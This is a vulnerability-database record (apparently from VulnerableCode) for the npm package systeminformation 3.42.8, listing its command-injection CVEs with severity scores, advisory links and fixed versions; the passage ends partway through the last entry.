Lookup for vulnerable packages by Package URL.

Purlpkg:npm/systeminformation@3.42.8
Typenpm
Namespace
Namesysteminformation
Version3.42.8
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version5.31.0
Latest_non_vulnerable_version5.31.6
Affected_by_vulnerabilities
0
url VCID-297u-ugtg-bkdd
vulnerability_id VCID-297u-ugtg-bkdd
summary
OS Command Injection
systeminformation suffers from a command injection vulnerability.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26274
reference_id
reference_type
scores
0
value 0.01389
scoring_system epss
scoring_elements 0.80708
published_at 2026-06-05T12:55:00Z
1
value 0.01389
scoring_system epss
scoring_elements 0.80682
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-26274
1
reference_url https://github.com/sebhildebrandt/systeminformation/commit/1faadcbf68f1b1fdd5eb2054f68fc932be32ac99
reference_id
reference_type
scores
0
value 6.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/1faadcbf68f1b1fdd5eb2054f68fc932be32ac99
2
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-m57p-p67h-mq74
reference_id
reference_type
scores
0
value 6.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-m57p-p67h-mq74
3
reference_url https://www.npmjs.com/advisories/1590
reference_id
reference_type
scores
0
value 6.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/advisories/1590
4
reference_url https://www.npmjs.com/package/systeminformation
reference_id
reference_type
scores
0
value 6.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/package/systeminformation
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26274
reference_id CVE-2020-26274
reference_type
scores
0
value 6.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-26274
fixed_packages
0
url pkg:npm/systeminformation@4.31.1
purl pkg:npm/systeminformation@4.31.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2rnv-d3tb-hug9
1
vulnerability VCID-99un-1enx-5uhv
2
vulnerability VCID-fen5-17u8-efbs
3
vulnerability VCID-kg9c-n3a4-9uh1
4
vulnerability VCID-us5p-3w2r-13e6
5
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.31.1
aliases CVE-2020-26274, GHSA-m57p-p67h-mq74
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-297u-ugtg-bkdd
1
url VCID-2rnv-d3tb-hug9
vulnerability_id VCID-2rnv-d3tb-hug9
summary
Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path
A command injection vulnerability in the `wifiNetworks()` function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26280.json
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26280.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-26280
reference_id
reference_type
scores
0
value 0.0003
scoring_system epss
scoring_elements 0.09016
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-26280
2
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/22242aa56188f2bffcbd7d265a11e1ebb808b460
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:36Z/
url https://github.com/sebhildebrandt/systeminformation/commit/22242aa56188f2bffcbd7d265a11e1ebb808b460
4
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2441121
reference_id 2441121
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2441121
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-26280
reference_id CVE-2026-26280
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-26280
6
reference_url https://github.com/advisories/GHSA-9c88-49p5-5ggf
reference_id GHSA-9c88-49p5-5ggf
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9c88-49p5-5ggf
7
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-9c88-49p5-5ggf
reference_id GHSA-9c88-49p5-5ggf
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:36Z/
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-9c88-49p5-5ggf
fixed_packages
0
url pkg:npm/systeminformation@5.30.8
purl pkg:npm/systeminformation@5.30.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-kg9c-n3a4-9uh1
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.30.8
aliases CVE-2026-26280, GHSA-9c88-49p5-5ggf
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2rnv-d3tb-hug9
2
url VCID-6t9m-cpgx-z3hb
vulnerability_id VCID-6t9m-cpgx-z3hb
summary
OS Command Injection
npm package systeminformation is vulnerable to Prototype Pollution leading to Command Injection.If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to `si.inetChecksite().`
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26245
reference_id
reference_type
scores
0
value 0.0113
scoring_system epss
scoring_elements 0.78661
published_at 2026-06-04T12:55:00Z
1
value 0.0113
scoring_system epss
scoring_elements 0.78688
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-26245
1
reference_url https://github.com/sebhildebrandt/systeminformation/commit/8113ff0e87b2f422a5756c48f1057575e73af016
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/8113ff0e87b2f422a5756c48f1057575e73af016
2
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4v2w-h9jm-mqjg
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4v2w-h9jm-mqjg
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26245
reference_id CVE-2020-26245
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-26245
fixed_packages
0
url pkg:npm/systeminformation@4.30.5
purl pkg:npm/systeminformation@4.30.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-297u-ugtg-bkdd
1
vulnerability VCID-2rnv-d3tb-hug9
2
vulnerability VCID-99un-1enx-5uhv
3
vulnerability VCID-fen5-17u8-efbs
4
vulnerability VCID-kg9c-n3a4-9uh1
5
vulnerability VCID-us5p-3w2r-13e6
6
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.30.5
aliases CVE-2020-26245, GHSA-4v2w-h9jm-mqjg
risk_score 3.6
exploitability 0.5
weighted_severity 7.3
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6t9m-cpgx-z3hb
3
url VCID-99un-1enx-5uhv
vulnerability_id VCID-99un-1enx-5uhv
summary
Systeminformation has command injection vulnerability in getWindowsIEEE8021x (SSID)
The SSID is not sanitized when before it is passed as a parameter to cmd.exe in the `getWindowsIEEE8021x` function. This means that malicious content in the SSID can be executed as OS commands.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-56334.json
reference_id
reference_type
scores
0
value 8.0
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-56334.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-56334
reference_id
reference_type
scores
0
value 0.04955
scoring_system epss
scoring_elements 0.8985
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-56334
2
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/f7af0a67b78e7894335a6cad510566a25e06ae41
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-12-24T16:32:16Z/
url https://github.com/sebhildebrandt/systeminformation/commit/f7af0a67b78e7894335a6cad510566a25e06ae41
4
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2333587
reference_id 2333587
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2333587
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-56334
reference_id CVE-2024-56334
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-56334
6
reference_url https://github.com/advisories/GHSA-cvv5-9h9w-qp2m
reference_id GHSA-cvv5-9h9w-qp2m
reference_type
scores
url https://github.com/advisories/GHSA-cvv5-9h9w-qp2m
7
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-cvv5-9h9w-qp2m
reference_id GHSA-cvv5-9h9w-qp2m
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-12-24T16:32:16Z/
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-cvv5-9h9w-qp2m
8
reference_url https://access.redhat.com/errata/RHSA-2025:3374
reference_id RHSA-2025:3374
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:3374
fixed_packages
0
url pkg:npm/systeminformation@5.23.7
purl pkg:npm/systeminformation@5.23.7
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.23.7
1
url pkg:npm/systeminformation@5.23.8
purl pkg:npm/systeminformation@5.23.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2rnv-d3tb-hug9
1
vulnerability VCID-kg9c-n3a4-9uh1
2
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.23.8
aliases CVE-2024-56334, GHSA-cvv5-9h9w-qp2m
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-99un-1enx-5uhv
4
url VCID-axru-z7ku-nyh8
vulnerability_id VCID-axru-z7ku-nyh8
summary
OS Command Injection
This affects the package systeminformation The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-7778
reference_id
reference_type
scores
0
value 0.01103
scoring_system epss
scoring_elements 0.78413
published_at 2026-06-04T12:55:00Z
1
value 0.01103
scoring_system epss
scoring_elements 0.78441
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-7778
1
reference_url https://gist.github.com/EffectRenan/b434438938eed0b21b376cedf5c81e80
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://gist.github.com/EffectRenan/b434438938eed0b21b376cedf5c81e80
2
reference_url https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/11103a447ab9550c25f1fbec7e6d903720b3fea8%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/11103a447ab9550c25f1fbec7e6d903720b3fea8%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc
4
reference_url https://github.com/sebhildebrandt/systeminformation/commit/73dce8d717ca9c3b7b0d0688254b8213b957f0fa%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/73dce8d717ca9c3b7b0d0688254b8213b957f0fa%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc
5
reference_url https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1043753
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1043753
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-7778
reference_id CVE-2020-7778
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-7778
7
reference_url https://github.com/advisories/GHSA-8j36-q8x7-pm6q
reference_id GHSA-8j36-q8x7-pm6q
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8j36-q8x7-pm6q
fixed_packages
0
url pkg:npm/systeminformation@4.30.2
purl pkg:npm/systeminformation@4.30.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-297u-ugtg-bkdd
1
vulnerability VCID-2rnv-d3tb-hug9
2
vulnerability VCID-6t9m-cpgx-z3hb
3
vulnerability VCID-99un-1enx-5uhv
4
vulnerability VCID-fen5-17u8-efbs
5
vulnerability VCID-kg9c-n3a4-9uh1
6
vulnerability VCID-us5p-3w2r-13e6
7
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.30.2
aliases CVE-2020-7778, GHSA-8j36-q8x7-pm6q
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-axru-z7ku-nyh8
5
url VCID-c47r-q1dv-8qg7
vulnerability_id VCID-c47r-q1dv-8qg7
summary The systeminformation package is vulnerable to Command Injection. An attacker can concatenate the curl command's parameters to overwrite Javascript files and then execute any OS commands.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-7752
reference_id
reference_type
scores
0
value 0.03143
scoring_system epss
scoring_elements 0.87149
published_at 2026-06-05T12:55:00Z
1
value 0.03143
scoring_system epss
scoring_elements 0.87127
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-7752
1
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
2
reference_url https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61
4
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-94xh-2fmc-xf5j
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-94xh-2fmc-xf5j
5
reference_url https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909
6
reference_url https://www.npmjs.com/package/systeminformation
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/package/systeminformation
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-7752
reference_id CVE-2020-7752
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-7752
8
reference_url https://github.com/advisories/GHSA-94xh-2fmc-xf5j
reference_id GHSA-94xh-2fmc-xf5j
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-94xh-2fmc-xf5j
fixed_packages
0
url pkg:npm/systeminformation@4.27.11
purl pkg:npm/systeminformation@4.27.11
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-297u-ugtg-bkdd
1
vulnerability VCID-2rnv-d3tb-hug9
2
vulnerability VCID-6t9m-cpgx-z3hb
3
vulnerability VCID-99un-1enx-5uhv
4
vulnerability VCID-axru-z7ku-nyh8
5
vulnerability VCID-fen5-17u8-efbs
6
vulnerability VCID-kg9c-n3a4-9uh1
7
vulnerability VCID-us5p-3w2r-13e6
8
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.27.11
aliases CVE-2020-7752, GHSA-94xh-2fmc-xf5j
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-c47r-q1dv-8qg7
6
url VCID-f4e3-n5n3-fbah
vulnerability_id VCID-f4e3-n5n3-fbah
summary
Command Injection
systeminformation is an npm package that provides system and OS information library for node.js. In systeminformation there is a command injection vulnerability. Problem was fixed with a shell string sanitation fix.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26300
reference_id
reference_type
scores
0
value 0.01516
scoring_system epss
scoring_elements 0.81583
published_at 2026-06-05T12:55:00Z
1
value 0.01516
scoring_system epss
scoring_elements 0.81554
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-26300
1
reference_url https://github.com/advisories/GHSA-fj59-f6c3-3vw4
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-fj59-f6c3-3vw4
2
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/bad372e654cdd549e7d786acbba0035ded54c607
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/bad372e654cdd549e7d786acbba0035ded54c607
4
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-fj59-f6c3-3vw4
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-fj59-f6c3-3vw4
5
reference_url https://www.npmjs.com/package/systeminformation
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/package/systeminformation
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26300
reference_id CVE-2020-26300
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-26300
fixed_packages
0
url pkg:npm/systeminformation@4.26.2
purl pkg:npm/systeminformation@4.26.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-297u-ugtg-bkdd
1
vulnerability VCID-2rnv-d3tb-hug9
2
vulnerability VCID-6t9m-cpgx-z3hb
3
vulnerability VCID-99un-1enx-5uhv
4
vulnerability VCID-axru-z7ku-nyh8
5
vulnerability VCID-c47r-q1dv-8qg7
6
vulnerability VCID-fen5-17u8-efbs
7
vulnerability VCID-kg9c-n3a4-9uh1
8
vulnerability VCID-us5p-3w2r-13e6
9
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.26.2
aliases CVE-2020-26300, GHSA-fj59-f6c3-3vw4
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-f4e3-n5n3-fbah
7
url VCID-fen5-17u8-efbs
vulnerability_id VCID-fen5-17u8-efbs
summary
OS Command Injection
systeminformation is an open source system and OS information library for node.Please upgrade to If you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() and other commands. Only allow strings, reject any arrays. String sanitation works as expected.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-21388
reference_id
reference_type
scores
0
value 0.00617
scoring_system epss
scoring_elements 0.70362
published_at 2026-06-05T12:55:00Z
1
value 0.00617
scoring_system epss
scoring_elements 0.7032
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-21388
1
reference_url https://github.com/sebhildebrandt/systeminformation/commit/01ef56cd5824ed6da1c11b37013a027fdef67524
reference_id
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/01ef56cd5824ed6da1c11b37013a027fdef67524
2
reference_url https://github.com/sebhildebrandt/systeminformation/commit/0be6fcd575c05687d1076d5cd6d75af2ebae5a46
reference_id
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/0be6fcd575c05687d1076d5cd6d75af2ebae5a46
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/7922366d707de7f20995fc8e30ac3153636bf35f
reference_id
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/commit/7922366d707de7f20995fc8e30ac3153636bf35f
4
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-jff2-qjw8-5476
reference_id
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-jff2-qjw8-5476
5
reference_url https://www.npmjs.com/package/systeminformation
reference_id
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/package/systeminformation
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-21388
reference_id CVE-2021-21388
reference_type
scores
0
value 8.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-21388
fixed_packages
0
url pkg:npm/systeminformation@5.6.4
purl pkg:npm/systeminformation@5.6.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2rnv-d3tb-hug9
1
vulnerability VCID-3vuy-w9kw-7fdy
2
vulnerability VCID-99un-1enx-5uhv
3
vulnerability VCID-kg9c-n3a4-9uh1
4
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.6.4
aliases CVE-2021-21388, GHSA-jff2-qjw8-5476
risk_score 4.0
